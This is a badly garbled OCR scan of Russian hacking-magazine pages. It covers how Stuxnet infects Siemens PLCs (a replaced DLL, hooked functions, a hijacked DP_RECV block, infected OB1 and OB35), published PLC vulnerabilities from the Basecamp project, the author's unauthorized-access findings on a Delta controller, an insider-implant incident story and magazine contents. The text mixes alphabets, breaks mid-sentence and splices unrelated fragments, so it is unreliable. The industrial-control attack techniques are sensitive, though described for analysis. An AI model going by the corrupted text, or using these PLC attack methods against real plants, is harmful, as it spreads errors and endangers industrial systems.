Как этот червь заражает компьютеры, какие уязвимости Windows использует в ходе своей вредоносной деятельности и даже кто и для чего ег0 придумал, написано уже немало. Если эта информация обошла тебя стороной, можешь, например, почитать статью Александра Матросова со товарищи <Stuxnet Uпdег the Мiсгоsсореr, кOтOрая лежит на диске, прилагающемся к этому номеру журнала. Вообще же Александру Матросову необходимо выразить большую благодарность, ибо без его помощи и содействия некоторые статьи могли бы и не появиться, 0днако, несмотря на большое количество различных описаний этого высокотехнологичного образца компьютерной заразы, информация о том, что же все-таки Stuxnet делает непо-

12/16712012

т.д.l

fu w

кOмпьютерOв, н0 как-т0 так пOлучилOсь, что их работа совсем не видна и большинством людей

хдкЕр

и

З.

4.

плк.

Содержимое блоков наполняется и программируется с пOмOщью специальнOг0 прOграммн0го обеспечения под названием Step 7 с использOванием раз��ичных языкOв, ориентирOванных

на прOграммирOвание

прOмышленнOй

автOмати-

ки [подробнее об этом во врезке]. Скомпилированный ассемблерный код, который называется МС7, загружается из компьютера в ПЛК, где запускается и выполняет свои функции (контро ль производственного цесса). В Step 7 связь компьютера с ПЛК организована при помощи библиотеки s7otbxdx.dll. п

ро

Например, когда из ПЛК необходимо считать какой-либо блок кода или данных, Step 7 вызывает из s7otbxdx.dll функцию s7Ьlk_геаd, которая считывает информацию из ПЛК и передает ее Step 7. Всего в этой библиотеке реализовано '] 09 различных функций для взаимодействия с ПЛК. При заражении компьютера с установленным на нем Step 7 Stuxnet подменяет оригинальный файл библиотеки s7otbxdx.dll своим, который он хранит в виде ресурсов в своем теле. При этом оригинальный файл также остается на компьютере жертвы, н0 уже в переименOваннOм виде: s7otbxsx.dll. В подмененном файле s7otbxdx. dll большинство [а если быть точным 9З) функций просто переадресуются на те же

-

ПЛК Simatic 57 серии 300


MALYVARE функции в оригинальном файле и выполняются как ни в чем не бывало, 0ставшиеся червь перехватывает своей подмененной библиотекой. Вот эти функции:

функции

S7_eVent s7ag_bub_cyc 1_геаd_с rеаtе s7ag*bu Ь_геаd_ча г 7ag_bu Ь_wгitе_ча г s7ag_l i nk_in

s

s7ag_гead_s

определенные идентификационные номера устройств, с которыми должен производиться обмен заражаемого ПЛК. Эти идентификационные нOмера назначаются всем прOизвOдителям оборудования ассоциацией РгоfiЬus & Ргоfiпеt lпtегпаtiопаl для каждого типа устройств. Своей целью Stuxnet выбирает устройства с идентификационными номерами 7050h и 9500h, назначенными частотным преобразователям, которые одна производятся двумя разными фирмами из них базируется в Иране, вторая в Финляндии 1частотные преобразователи используются для регулирOвки скOрOсти вращения валOв

йв

z1

S7ag_teSt

s7blk_delete s7blk_findfiгst

Ladder Logic Backdoors Fuzzing

Если подходящий для заражения контроллер

Basic

найден, то в первую очередь происходит перехват функционального блока DP_RECV, который

s7blk_wгite

s7db_open s 7ag_bu Ь_геаd_ча г_sеg

s7аg_ЬuЬ_wгitе_ча г_sеg

функций,

Контролируя выполнение этих Stuxnet способен модифицировать данные, посланные с компьютера на ПЛК и обратно, цировать ПЛК, внедряя в него свой вредоносный код или изменяя существующие блоки, а прятать внедренный в ПЛК вредоносный Заражение ПЛК начинается с ки блоков SDB. Щля заражения только определенные конфигурации, а кретно ПЛК типа бES7-31 5-2. Кроме в блоках SDB, конфигурирующих шину с внешними устрOйствами РгоfiЬus,

инфи-

также код. провервыбираются конэтого, обмена ищутся

-

Config

отвечает за обмен по шине РгоfiЬus. 0ригинальный блок DP_RECV копируется в созданный червем функциональный блок FС1 869, а на его

s7d Ь_с 1ose

Exhaustion Undoc Features

место пишется вредоносный код, и каждый раз, когда вызывается DP_RECV для чтения пакета из шины, этот вредоносный код берет на себя

N/A

Результаты исследований коi{пании Digital Вопd проекта Basecamp

управление, вызывает оригинальный блок и далее обрабатывает и фильтрует полученные пакеты от частотных преобразователей, Таким образом, можно запросто скрыть истинное состояние частотных преобразователей и показать оператору все что угодно. Помимо этого, Stuxnet 0В] заражает два организационных блока это и 0ВЗ5. Блок 0B'l, как мы уже говорили, основная точка входа в программу ПЛК. Блок 0ВЗ5 стандартный сторожевой блок, который выполняется системой каждые 100 мс. В нем

-

х х х х { { х х х х х х { { х { { х х N/A

Web

аси нхрон ных электродви гателей].

s7b1 k_fi nd next s7b1 k_геаd

х

Firmwаrе

-

@ lSELl Коуо

в

patlKax

обычно программируется мониторинг каких-нибудь критических входов с жестким временным граф

и

ко м.

flля инфицирования этих блоков использу-

ется метOд записи вредOнOснOг0 кOда в начал0 блока, Алгоритм заражения простой и аналогичен алгоритму, который применяется в файловых вирусах: сначала сOхраняется 0ригинальнOе содержимое блока, затем увеличивается размер

-

-

НА ЧЕМ ПРOГРАММИРУЮТ ПЛК Все, что касается языков програмlиирования для ПЛК, определено стандартом МЭК [lEC] 61'lЗl-З. В этот стандарт входят пять языков: . LD [Lаddег Diаgrаml вариант класса языков релейно-контактных схем. Графический язык, элементами которого являются контакты, катушки реле, вертикальные и горизонтальные соединения и другие элементы. FВD lFчпсtiоп Block Diаgгаm} аналогичен функциональной схеме электронного устройства. Графический язык высокого уровня, позволяющий управлять потоками данных разных типов и использовать большую библиотеку блоков, реализующих различные алгOритмы управления. SFC [Sequential Fчпсtiоп Сhагtl графический язык, аналогичный блок-схемам алгоритмов. Удобен для программирования как последовательных, так и параллельных прOцессOв. текстовый высокоуровневый язык, по синST lStrчсtчrеd Textl таксису напоминающий Паскаль. Код, написанный с его применением, хорошо структурирован и обладает отличной читабельностью, особенно если используются понятные имена переменных. lL llпstrчсtiоп Liýtl язык низкого уровня, аналогичный -текстовый ассемблеру. 0бычно используется для написания высокоэффективных и 0птимизированных участкOв кOда.

.

-

.

.

-

-

.

lEC 6'11Зl-З, помимо самих языков программирования ПЛК, определяет их синтаксис, вид объектов, структуру программы и объявления переменных.

Многие производители ПЛК выпускают собственные средства разработки програмлп для своих кOнтроллеров, соответствующие стандарту (например, Step 7 от Siemens, WPLSoft для ПЛК Delta или Concept от Sсhпеidег Еlесtгiс), однако существуют и универсальные средства разработки для Плк разных производителей [к примеру, один из широко распространенных пакетов CoDeSys от компании ЗS},

-

гr-

|oJrllr.]n? l d :гс E,IMPJ

g! |

РFб

| !|1 LЕ.д!FL!Fз ".u 1 ;,rrrлтг.яыl .гь, ,всl, ,urш

l

]

о

д

гr_г,лмгш

b.I.1 рвс I g (т: !мрц PFj | э

l l l l

сщ

щ 99 щ sщ щ

l l l

s*i.h]

sм.n]

s*il.п.

Ц"т

lP

-]l_=_-1"#l sfrI.n1l

-]l

5*пфlr

s*n.h]2

-l

s*{in11

!яkna

stп.п]0

sлпф]

Гтсц

]l] rъ ,|1el\i2llfЁE,пlЕо

Код, написанный, вернее нарисованный :l, на яэыке LD в среде разработки CoDeSys

хлкЕр 12/167/2012


Малварь для промышленной автоматики

I

блока, далее в начало пишется вредоносный кOд, и дOписывается ранее сOхраненное ориги-

нальное содержимое блока. В коде, который внедряется в 0В1 и 0ВЗ5, реализована вся логика работы червя: в основнOм 0на заключается в скрытом управлении частотными преобразователями и, соответственн0, изменении скOрOсти вращения электродвигателей по определенному алгоритму. В то же время благодаря перехвату блока DP_RECV факт вредоносного воздействия на преобразователи скрывается, и ничег0 не подозревающий оператор видит у себя на экране автоматизирOванного рабочего места нормально функционирующий частотный преобразователь и щтатную скорость вращения электрOдвигателя. Как видим, для заражения ПЛК Stuxnet использует обычные приемы, ставшие уже классикой при создании вредоносных программ это и передля обычных компьютеров, хват функций для скрытия результатов своей деятельности [своего рода руткитl, и внедрение вредOнOсного кода в начало блока с последующей дозаписью оригинального содержимого, и передача управления на нег0 после выполнения вредоносных функций (по аналогии с файловыми вирусамиl.

-

,цпilп@

Не так давно группа исследователей из американской компании Digital Bond продемонстрировала всему сообществу специалистов в области автоматизации и информационной безопаснOсти, чт0 вOзмOжнOсти вредоносного воздействия на системы промышленной автоматики не 0граничиваются одним только червем Stuxnet и ПЛК серии Simatic 57-З00. В рамках проекта под названием Basecamp были исследованы шесть ПЛК разных производителей на предмет наличия в них уязвимостей:

. . . . . .

GепегаlЕlесtгiсD20МЕ;

Коуо Diгесt LOGlC H4-ES;

Rockwell Automation Аl|еп-Вrаdlеу Со

пtгоl Log ix;

RockwellAutomationAllen-Bгadley МiсгоLоgiх; Sсhпеidег Еlесtгiс Modicon Quantum; SchweitzeгSEL-2032 {коммуникационный модулЫ.

Наибольшее количество уязвимостей собрал ПЛК Gепеrаl Еlесtгiс D2OME [кстати, самый дорогой в списке), На его счету: неавторизованный дOступ и чтение программы из ПЛК, просмотр прOцессOв в памяти. чтение и запись произвольных участков памяти, доступ к конфиryрационной информации. в том числе к учетным данным, пOзвOляющим получить полный контроль над всей системой. Следующий подопытнвtй ПЛК Коуо Diгесt LOGlC H4-ES имеет схожие с D2OME уязвимости, но выглядит более защищенным и по крайней мере при попытке чтения или записи программы из ПЛКтребует пароль. В веб-сервере, имеющемся на борry этого Плк, есть уязвимость, позволяющая менять lP или e-mail, по которым произвOдится рассылка тревожных сообщений.

-

хдкЕр 12/167/2012

-

|i

респект техничеckoltly руководству коttпании <<Экоtlаlлгрупп) за т0, чт0 0ни сделали вид,6удто не заметили ll0их <tllалостей> с дорогостоящиtч оборудованиеll lЕвгений, с оборудованием-то lлалить 1{0жно,

ОбtiФПЛКподпсрцрt!

Ввrоreпролоrю?

l[-Б-*1l щ

но

|

rЛаВНOе

-

В

r Ищи на диске описание 5tчхпеt от антивирусной компании ESET. Несttотря на

анrлийский

языкt пOдлежит

обязательному прочтению.

xPali{ax

нетанцуй!-Прим. ред.l. Вот так l.tolKHo остановить выполнение програ1,1мы

в Delta

ПЛК Modicon Quапtum от фирмы Sсhпеidег Еlесtгiс (порадовал) исследователей наличием паролей по умолчанию для смены прошивки

и вOзмOжнOстью неавтOризOваннOг0 доступа к пользовательской программе в ПЛ К. Также ве6-сервер этого ПЛК передает всю информацию [в том числе и учетные данные для доступа в системуl в открытом виде, а наличие еще одной уязвимост�� [в организации FТР-протокола) пOзвOляет все эт0 перехватить. Контроллеры от Rockwell Automation {АllепВrаdlеуl и Sсhwеitzег таят в себе уязвимости, аналогичные уязвимостям в ПЛК Modicon Quапtum. Также стоит отметить, что парни из Digital Bond не ограничились просто поиском уязвимостей: после их исследOвания уязвимости в ПЛК Gепегаl Еlесtгiс D20ME, Коуо Diгесt LOGlC H4-ES, RockwelI Automation Аllеп-Вгаdlеу СопtгоlLоgiх и Sсhпеidег Еlесtгiс Моdiсоп Quantum обрели вполне рабочие эксплойты, кOтOрые уже вошли в состав актуальной версии М etasploit'a. Исследовательский центр Digital Sесuгitу Rеsеагсh Gгоuр в рамках поддержки Basecamp также пOделился результатами своих изысканий на ниве поиска уязвимостей в системах промышленной автоматики. Были исследованы ПЛК Wago серии 750 и Tecomat PLC. В ПЛК от Wago установлены пароли по умолчанию, вOзмOжн0 неавтOризOванное чтение программы и некоторой системной информации

из ПЛК через веб-интерфейс, а также возможна смена парOля через вредOнOсную ссылку. На контроллерах Tecomat PLC установлены

парOли п0 умOлчанию.

@

Твой любимый журнал никак не мог остаться в сторOне в т0 время, кOгда вся прогрессивная

общественность ковыряет ПЛ К. Благодаря попал контроллер Delta

тOму чт0 в мOи руки

DVP-40ES200

DVP-40ES200, у меня появилась возможность внести свOю лепту в дело поиска уязвимостей в системах промышленной автоматики. Итак, чт0 мы имеем. В ПЛК DeIta DVP-40ES200 есть возможность защитить пOл ьзовательскую прOграмму парOлем, но, во-первых, стойкость этого пароля оста вляетжелать лучшего [всего четыре символа), а во-вторых, этот пароль защищает прOграмму тOльк0 0т чтения ее из ПЛК и никак не мешаетсбросить конфигурацию ПЛКдо заводских настроек и залить в нег0 другую прOграм му.

.

.

Возможеннеавторизованныйперевод

кOнтроллера из режима <Работа> в режим

*стопr, при котором выполнение программы

.

и, сOответствен н0, управление исполнительными механизмами 0станавливается. При удаленном досryпе к ПЛК через GSMмодем никакой авторизации не требуется и доступ к ПЛ К возможен с любого номера телефона, главное номер телефона -знать GSМ-модема, подключенного к ПЛК.

В принципе, этого достаточно для совершения мнOжества вредоносных <подвигов>. 0собенно <порадовал> неавторизованный доступ через GSМ-модем.

ЕllаillNпilrЕ Строго говоря, все эти бреши, дыры и уязвимости в ПЛК, о которых мы говорили, до определенного мOмента такOвыми и не являлись, поскольку до них никому не было дела. 0сновной упор при создании АСУ ТП делался на производи-

тельнOсть, экOнOмию средств, на все что угодно, кроме информационной безопасности. И никому в гOлову не могло прийти, что кто-то посторонний захOчет залезть в эти системы и что-нибудь там натворить. Но все течет, все меняется, и теперь пришло время об этом подумать... fE

В PA]IiKAX пРOЕкТА пOд нАзВАНиЕ},l BASEсA].{ р Бьlли исслЕдовАньl

шЕсть плк рАзньlх прOизводитЕлЕЙ нА прЕд},rЕт нАличия в них уязвимостЕЙ


}rALYYARE

Ник [ыминский

(duminsky.nickOgmall.com]

В Детектив для

безопасника

пр0 },lАлвАрь, кOтOрАя cA}lA сOБOи нЕ пOявляЕтся

д0 ситуации, кOгда инсаидерOм мOжет 0казаться людей, один из сисадминов или безопасников кOтOрым в 0рганизации прихOдится дOверять.

-

С нашей точки зрения, положение осложнялось еще и тем, чт0 взять пOдписку или сOставить все такие соглашение было затруднительно

-

В этой статье ты не встретишь никакой технической информации. Ее и так много в нашем журнале. Сегодня мы расскажем о том, как это бывает просто в жизни. На практике, которая, как говорится, очень далека от идеальной теории. лучилась как-т0 у нас весьма неприятная история. Если коротко, то было установлено, что периметр сети пройден и lТ-отделу оставлен (подарочек> на шлюзе. Посредством МlТМ-атаки он скомпрометировал кучу паролей к нашим серверам, на которых переписка, клижила святая святых - делOвая ентская база, проекты в пресейле и в работе. Характер (подарочка> ясно давал понять, что проникновение было сделано не шутки ради, а вполне себе по заказу. Между lТ-отделом и

службой ИБ были более-менее мирные

рабочие взаимоOтношения. Это сильно помогло слишкOм част0 сведения на начальнOм этапе о таких находках остаются внутри lТ-отдела, а админы просто вышибают злоумышленника из сети и не озабочиваются пугями проникновения. !а, все конфигурации всех межсетевых

экранов и lPS и политики антивирусов тщательно анализируются, операционные системы обновляются до последних версий, но частенько усилия оказываются направлены не в ту сторону, Выявить пути проникновения мог бы полноценный пентест, н0 эт0 весьма затратнOе мерOприятие, на которое у вас вряд ли получится выбить деньги с обоснованием <на всякий случайп. В общем, наш отдел ИБ был (поставлен в известность>. История умалчивает о том, что сказали друг другу наши начальнИки, но решение было принято однозначное нужно сообщить рукOводству. Чтобы не подставить какой-то из отделов, на доклад пошли представители обоих подразделений. Реакция руководства на информацию о взломе была вполне ожидаемой и предсказуемой. Началось криком и обещаниями разогнать

0r0

документы проходят через кадры, а четкие формулирOвки, чт0 именн0 нельзя распрOстранять, выдадут все секреты с головой, Пережив это, весьма неприятное, совещание у начальства и 0кOнчательн0 уяснив картину,

всех к известнOи матери, а закOнчилOсь лOгиччто нам, собственно говоря, ным вопросом

-

с этим всем делать.

Перво-наперво решили: информация

о взломе не должна уйти из отделов ИI иИБ, а в идеале даже в отделах знать об этом

должен ограниченный

круг лиц. Информация, имеющая 0тнOшение к инциденту, сOхранялась в криптоконтейнере, ключи раздавались под подпись. На самом деле это чрезвычайно тяжелый этап работы, причем психологически тоже: мнOгие специал исты стремятся пOхвастаться и этс сложными задачами, блеснуть знаниями прекрасно. Но только пока дело не доходит

-

руководител и двух отделов решили сформировать единую (следственную группу>, которая будет осторожно собирать информацию о произошедцем и принимать дальнейшие решения. Не будем забывать, что задача перед нами стояла не просто перекрыть существующий канал rгечки, а понять, как это произошло. Первоначальный план действий был таков: определить, как закладка попала в сеть и куда 0тсылаются скOмпрOметирOванные пароли. И если вторая задача была чисто технической и решалась довольно просто [адрес сервера был жестко прописан в конфиг-файле, видимо, перенастройка при раскрытии не предусматривалась), то определить, как и когда произошел взлом, было уже не так просто. Кроме того, нужно было понять, насколько опасен этот взлом. К счастью, в нашем случае компрометироэто было довольно просто вание атрибутов доступа к серверам вряд ли

-

является чьей-то невинной шалостью. Поняв, насколько ситуация опасна, можно предпринимать дальнейшие шаги, все так же стараясь держать дело в тайне, ,Щаже если целью взлома и не было причинить вред компании, распространение сведений о нем может нанести урон само по себе. Клиенты начинают относиться с опаской, заказчики и исполнители обдумывать все по десять раз. Все это непрямые убытки компании, которых надо избежать всеми способами. Кроме того, если до возможного инсайдера дойдут слухи о ведущемся расследOвании, т0 0н, скOрее всег0, пOстарается отвести подозрения от себя и/или подставить других коллег, Также, если злоумышленник заподозрит, что нам известно о его действиях, он может попробовать замести следы или же просто распространить информацию о происшествии в наиболее выгодном для себя [и невыгод-

-

ном для нас) свете.

хдкЕ?

12/167/2012


.Щетектив для безопасника

Итак, на следующий день после обнаружения взлOма мы имели следующее:

].

2. 3. 4. 5.

Анализсервера информации овремени взлома не дал. 0бъем полученной злоумышленником информации неизвестен. L{ели злоумышленника неизвестны. Анализуправляющего сервера ничег0 не дал. Установленное злоумышленником П0

-

-

не 0тл ичается слOжнOстью.

что из этого можно извлечь? Почти ничего. Тем не менее удалось сделать кое-какие выводы, собрав воедино следующие факты: 1. Совершенный не вчера взлом наши ИТ-

2.

з

с п

ециал исты

п

ромор гал и.

В конфигурацию периметрового оборудования были внесены незначительные изменения, кOтOрые позволили трафику отзакладки

спокойно достигать адресата. Стоиттакже 0тметить, чт0 все сOединения инициировались изнrгри, командный сервер -сам внугрь не сryчался и передавал команды (если передавал] только по запросу. Злоумышленники, скорее всего, точно знали распOложение цели внутри организации, а направление атаки гOворит о том, что им, вероятнее всего, было необходимо предоставить досryп к конфиденциальной информации кOму-т0 внrгри периметра, причем замаски рOвав эт0 под атаку снаружи.

Выводы были таковы: анализ конфигурационных файлов периметрового оборудования и времени их изменений дал примерный промежуток времени, когда была установлена закладка, а значит, и был организован взлом. Конфигурация периметрового оборудования меняется не так част0, и все изменения конфигураций всегда логируются, а резервные копии нескOльких вариантов конфигурации в обязательнOм пOрядке сOхраняются на независимом хранилище с указанием того, когда данный файл конфигурации был создан и чем отличается 0т предыдущего. В свое время наш ИТ-отдел 0тчаянн0 сOпротивлялся такоЙ мере, но сегодня именно эта бюрократия и принесла свои плоды. К сожалению, не все изменения конфигурации были сохранены, как предписывалось, когда наши безопасники устроили опрос админов пOд видOм анализа выполнения требований кOрпOративных пOлитик, люди признавались в тOм, чт0 изменяли настройки по требованиям начальникOв 0тделOв, да и просто для себя, чтобы им было удобнее. Получить эти признания нам помог начальник ИТ-отдела. Oн был в курсе тOг0, зачем мы на самом деле произвOдим эту прOверку, и мог надавить на своих

-

-

-

пOдчиненных.

Зачем нужен был цирк с конспирацией? Это самое интересное. ,Щело в том, что, исходя из характера атаки, мы тOлько сильнее и сильнее убеждались: в Ит-отделе сидит нелояльный сOтрудник, который и помог злоумышленнику прOвернуть такую операцию. Более того то, что командный сервер никогда не инициировал

хлкЕр 12l1b7/2012

сOединения, служил0 дOказательством, что инсайдер не просто помог злоумышленнику, а сам

произвел атаку изнутри. Именно это и заставило нас поиграть в КГБ [по выражению одного из админов). Почему мы подумали на админов, а не на кOгO-т0 из других сотрудников? Не то чтобы у нас абсолютно доверяли всем, кроме

ИТ-специалистов. П росто обстоятел ьства гOвOрили 0 тOм, чт0 взлOм производил человек, с одной стороны, хорошо осведомленный об организации ИТ-инфраструктуры, а с другой не очень хорошо знающий, какая инфор-

-

мация наиболее важна для компании. Если бы ктO-т0 из инженерOв или менеджеров рещил слить информацию налево им бы не составил0 труда прOст0 скачать актуальные данные

-

текущим проектам. Более того, никто из них не знал, как проходит трафик до серверной группы, чтобы узнать это, им потребовалось бы приложить определенные усилия, и это, скорее всего, попало бы в поле зрения ИТ-отдела. Админ же, наоборот, прекрасно знал о том, что и как работает в нашей сети, но поиск актуальной информации занял бы у него определенное время. Так что все следы вели в ИТ-отдел. по

-

Таким образом, за несколько дней после обнаружения взлома мы собрали всю информацию, какую мOгли, не привлекая внимания злоумышленника. flальнейшие действия было необходимо согласовывать с руководством,

пOскOльку решать, чт0 делать дальше просто прOвести внугренний аудит и прибить закладку, привлекать к работе специалистов из сторонних организаций или вообще обращаться в органы, были руководители компании.

-должны

Скажу сразу, что вариант обратиться к специалистам был отметен с ходу {с кучей нелицеприятных выражений в адрес обоих отделов). Когда была прикинута стоимость работ, то нам припOмнили сразу все и - предыдущие работы, и внедрение политик безопасности, от которых все 0тделы первOе время выли волком, и последующие закупки <на безопасность>, 0щущение 0т разгOвOра 0сталOсь весьма неприятное, хотя я лично там и не был. Но содержание его наши начальники д0 нас дOвели, что называется, (п0 гOрячим следам>, так что комментарии излишни. Какое-то время мы думали, стоит ли обратиться во внутренние органы, Как мы все прекрасн0 пOнимали с нашей lТ- учетом специфики, мы могли просто не замечать того, чт0 прOисхOдит п0 другую сторону экрана. Но заставить себя выйти из привычной схемы мышления в стрессовой ситуации, полумертвыми от усталости и с убитой последними событиями мотивацией оказалось невозможно. По крайней мере, у нас это не получилось, Но вариант официального обращения в органы был отброшен. Мы не хотели рисковать тем, что работа компании будет парализована во время расследования, А поскольку, по нашим представлениям, в числе пOдOзреваемЫх мOг оказаться кто угодн0, т0 таскания на дOпросы могли значительно снизить лOяльнOсть сотрудников, тем более сотрудников ИБ и ИI, которые были первымиподOзреваемыми. А наша лояльность и так была на урOвне плинтуса сказывались и усталость, и нервнOе напряжение, и висевшее в воздухе нед0 вер

и

е.

Иными словами, мы оказались

в ryпике, Всю информацию о взломе, какую могли, мы собрали. возможно, профессионалы собрали бы больше,

но на профессионалов денег у нас не было. Обращаться в органы не было никакого резона это только осложнило бы положение. Атмосфера царила пOдавленная, и ни о какой активной деятельнOсти никто и не думал. Честно говоря, у многих

-


i,lALWARE прOснулись весьма упаднические настрOения: после такого косяка можно было ожидать вполне серьезных репрессий со стороны руководства и не прOст0 выгOвOрOв, к кOтOрым все привыкли. ,Щошло до того, что сотрудники начали обновлять

-

резюме, хOтя нацим специалистам увOльнение в таких условиях не обещало ничего хорошего. А потом случилось то, что у японцев назы-

вается (саториr. Если мы не можем обратиться в0 внутренние 0рганы напрямую, т0 кт0 мешает нам вспомнить старых знакомых? Была у нас в компании служба физической охрана. И охранникабезопасности, попросту ми нашими командовал бывший оперуполномоченный МВ,Щ. Который со своей оперской смекалкой давно заметил: что-то у нас происходит. И завел разговор с начальником отдела ИБ... Бывший опер задал нам тот вопрос, который мы должны были задать себе сразу, как только узнали о взломе. А именно: что могли злоумышленники искать на наших серверах? И кому это могло быть выгодно? Но мы настолько уперлись в вопрос *KaK?u, что совсем забыли о главном <зачем?>. Мы определяли важность вопросе той или иной информации, которая вращается у нас в компании, мы разрабатывали политики разграничения доступа, но, когда нас выбило из привычного ритма, мы сразу забыли все то, чему нас учили на курсах и семинарах, и стали отвечать на простые, но абсолютно не имеющие значения технические вOпрOсы. надо было А ответы были совсем близко понять, что искал злоумышленник. Сделать это оказалось просто у нас был доступ ко всем сведениям о том, над чем сейчас работает компания. А промотивированные начальники 0тделOв рассказывали, чт0 дают эти прOекты и какая ожидается от них выгода. Уже <выстрелившие) вряд ли прOекты мы пOчти не рассматривали

-

-

-

-

конкурентам интересно знать, как мы работаем, гораздо важнее для них было бы получить информацию о том, как мы планируем играть на предстоящих конкурсах и тендерах. Бизнес в России строится преимущественно на том, что компании делят сферы влияния, а то, что

тендерная и кOнкурсная дOкументация пишется пOд испOлнителя, тOже ни для кOг0 не секрет. Конкуренты, ведущие агрессивную политику и влезающие на уже пOделенную территOрию, были известны, также, благодаря личным знакомствам руководителей, мы знали, какими примерно ресурсами и кто располагает, Так что вычислить предполагаемого заказчика было прост0. Посмотреть, не очень трудно. ,Щальше кто из сейл-менеджеров и инженеров отвечает вся информация за самые крупные проекты,

-

доступна начальникам отделов. Социальные сети это все-таки кладезь информации. Люди даже не стесняются указывать, чт0 дружат, а т0 и сOстOят в рOдстве с сOтрудниками кOмпании-

-

кOнкурента. Итак, у нас появился главный подозреваемый, а остальное было делом техники, Сейлы

вообще народ говорливый и умеют входить в доверие. Подружился наш продаван и с одним из админов. Узнали мы это весьма простым сп0собом: посмотрели записи видеокамер в курилке, с кем подозреваемый сейл чаще всего ходит курить. Естественно, тех, с кем ему по работе курить положено, мы не рассматривали. А вот это уже интересно. Сейлы обычно с ададмин минами не дружат. Корпоративной электронной почте эти ребята совершенно обоснованно не доверяли, да и личной, видимо, не очень. Как выяснилось позже, сработало еще и то, что админ уже был одной ногой на другой в другой компании, из другой сферы, работе с которой мы никак не пересекались. При таком

-

-

удачнOм раскладе админ не 0тказался 0т предлOжения сейла. Предложение было подкреплено определенной суммой денег. 0т админа даже

-

не требовалось делать ничего серьезного необходимый софт ему передали, видимо, разработку заказывали на черном рынке или

прост0 у какого-то не особо принципиального фрилансера. Как я уже говорил, ничего экстраOрдинарнOг0 малварь не умела, так чт0 вряд ли за нее были отданы большие деньги. Всю эту информацию нам выдал сам админ. Как говорится, на голубом глазу. Хорошо, что юридической подготовки у него не было никакой и удалось ег0 припугнуть: на самом деле предъявить ему в суде было нечего режим коммерческой тайны в компании введен не был и никаких фактов,

-

даже прOст0 пOдтверждающих

лечку, на руках

у нас не было. 0т кого исхOдила инициатива

-

от

(нашего>

сейла или от его родственника, мы выяснить не смогли. На самом деле даже и не пытались. Потому что не успели. Видимо, какая-то информация о наших действиях все-таки просочилась наружу, И сейл вдруг от нас уволилвыдумал срочную ся. Как мы потом узнали причину, которую руководство сочло весомой, так что уволился он без отработок. В принципе, мы ничег0, крOме увOльнения, сделать с ним все все наши доказательства равно бы не смогли были собраны с большим наплевательством на юридические нормы и правила сбора доказательств, и в суде им бы грош была цена. Но его увсльнение позволило нам добиться мы пOняли, куда кOнкретн0 метили главнOг0 кOнкуренты, и проект остался у нас. И мы смогли разобраться, как случилось заражение: новость о бегстве сейл�� сильно помогла расколоть админа он понял, что остался тл один и всех собак повесят на него. Не скажу, что руководство было пOд кOнец кOмпанию трясл0 нами дOвOльн0, от наших действий, так что работать было трудно всем. Хорошо, что это продолжалось недолго. Вот так закончилась история со взломом. если ,Щовольно поучительно, как мне кажется, бы мы не уперлись в ретроспективный анализ, а сразу поняли сугь проблемы, то закончилось бы все быстрее и не так болезненно. На самом деле, как именн0 прOизOшел взлOм, не так уж важно. По сути, это просто свершившийся факт. Проблема была в том, что мы не знали, что у нас а именrгекло и кому это может быть выгодно но это и важно для бизнеса. Так что, коллеги, не повторяйте наших ошибок и помните мы работаем ради бизнеса. А не наоборот.

-

-

-

-

-

...случилOсь т0, чт0 японцьl нАзьlвАют ((сАТоРи}}. Plbl НЕ рl0ЖЕ}l 0БРАтитЬся в0 внутрЕнниЕ 0ргАньl, но кт0 рlЕшАЕт HApl всп0!l н ить cTAPblx знАк0},|ьlх?

-

хлкЕр

12/1ь7/2012


Ргеviеw АкАдЕ1,1ия

110

lцкOлА HlGHLOAD

-

зАключитЕльныйурок Как это ни печальн0, но все когданибудь заканчивается вот и мы заканчиваем наш цикл урOкOв п0 прOектирOванию вь]сOкOнагруженных систем и надеемся, что тебе было так же интересно, как и нам. Но напоследок подытожим изученнь й материал и добавим последнюю пOрцию пOлезных сOветOв и теории. На этот раз речь пойдет о различных аспектах обслуживания работы проектов с высокой нагрузкой. Кроме того, в шестой урок вошло еще больше реальных примерOв 0т специалистов, работающих над крупнейшими интернет-ресурсами Рунета,

-

кOдинг

UNlxolD

+75з4529L452з189

5з4

19 з 18

58

з41 9519з528416948 94

стЕгАнOгрАФ. зАвЕрlлЕниЕ Заключительная частьэпопеи

о

раз-

работке крутейшего WР7-приложения для скрытогохранения информации в изображениях. Начало смотри

в

ноябрьском

102

и 1,1 прилOжЕн и Е для АN D ROl Шес,ьрецептов,описа-рь,хвэ-ой

гOтOв

D

Представляем сравнительный тест произвOдительнOсти

от<корпорациидобраu,

кому-нибудь оставить позади GCC?

нOмере или надиске,

UNIxOlD

БOльlлиЕ гOнки

статье, пригодятся любому разработчику, пишущему приложения для мобильной 0С

ко м

п

для всех пOпулярных стся л и на этот ра з

ил ято ро в. Уда

sYN/AcK эесцLl?,

Цп;|rjпФ'

,ffi !;ф" искусств0 сOпряжЕния Сетевая природа UNlX позволяетделать мнOжеств0 интересных вещей вдомашней сети, Какты сможешьубедиться сам,

расшарить удается любое устройство.

хлкЕр

12/1b7l 2012

стOрOжЕвOЙ 7-гоуровня В этой статье мы рассмотрим сразу нескOл ьк0

п о

пуля рн ых реш ен

и й

трации трафикадинамических

для фил ь-

ве6приложений на прикладном уровне,

ХИТРOСПЛЕТЕНИЕ

Нововведения

СВЯЗЕЙ

Windows Sегчеr2012 кOснулись святая святых кOрпOративной сети -службы доменов Active Diгесtогу. Естьли тут какой-то профит? в


й

з259 5143526452841,25 1 8153 816789з782з41,25 1 2947 534529].4523 18957 1915б о1 5з4 з45 1 8358 1851,2 52з4L 9359519352841 6948259 РАЗРАБАТЬl ВАЕМ СРЕДСТВА ДЛЯ СOХРАН ЕН ИЯ и извл Еч Ен ия сп рятАн н blx дАн н blx

i.7 1 5 3 б I43 1 2з 452з2з25 1 ': о45 з 57 47 89 6 7 97 66 8 9 5 3

6959 'ъL55 о458

-

Продолжаем и завершаем разработку крутой J[-тулзы стеганографа для wp, которую мы начали в прошлом номере. Нам осталось прикрутить к нашей софтине еще несколько фич: сохранение модифицированного изображения и извлечение из него спрятанного сообщения. После этого мы наконец сможем в полной мере использовать стеганографию в своих целях!

126L 6252

17 59 9595I7352з992з42з5 1


l[-проект: стеганограф. Завершение

I

сOхрАнЕниЕ ФOтOгрАФии

В прошлой статье мы скрыли в фотографии текстовое сообщение и 0станOвились перед задачей, как ее сохранить. На первый взгляд это и не задача совсем] На ум сразу же приходит

